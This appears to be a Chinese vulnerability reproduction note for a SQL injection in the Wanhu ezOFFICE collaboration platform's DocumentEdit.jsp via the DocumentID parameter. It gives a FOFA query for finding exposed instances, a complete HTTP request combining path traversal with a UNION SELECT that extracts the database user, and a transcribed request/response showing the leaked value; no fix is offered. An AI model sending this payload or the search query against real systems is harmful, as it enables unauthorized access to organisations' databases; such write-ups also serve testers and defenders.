

W1-5万户-ezOffice-SQL

漏洞描述:

万户 ezOFFICE DocumentEdit.jsp 存在SQL注入漏洞。由于'DocumentID'参数缺乏过滤, 允许攻击者利用漏洞获取数据库敏感信息。

网站图片:



网络测绘:

fofa语法:

FOFA: app="ezOFFICE协同管理平台"

漏洞复现:

payload:

```
GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1'%20union%20select%20null,null,(select%20user%20from%20dual)%20from%20dual'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:

查询用户信息

请求				响应			
美化	Raw	Hex		美化	Raw	Hex	页面渲染
1	GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp			263			<td >
2	?DocumentID=						<input type="text" name=XYBH class=input
3	1'%20union%20select%20null,null,(select%20user%20from%20dual)%20from%20dual'-- HTTP/1.1			264			null>
4	Host: 10.10.10.10:7001			265			</td>
5	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like						<td width=96 align=right>
6	Gecko) Version/12.0.3 Safari/605.1.15						
7	Accept-Encoding: gzip, deflate						
8	Connection: close						</td>
9				266			<td >
10				267			<input type="text" name=BMJH class=input
11							=EZOFFICE>
12				268			</td>
13				269			</tr>
14				270			</table>
15				271			</td>
16				272			<tr>
17				273			<td height="300">
18				274			<table width="100%" border="0" cellspacing="0"
19				275			cellpadding="0" align="center" height="100%">
20				276			<tr>
21				277			<td width="100%" style="border-bottom:1px
22				278			border-color:#ff0000">
23				279			<table width="100%" border="0" cellspacir
24				280			cellpadding="0" align="center">
25							<tr height="150">
26							<div id="jfdi" style="
27							position:absolute;width:100%;height:
28							bgcolor=#ffffff">
29							<td width=100 valign="top">
30							
31							&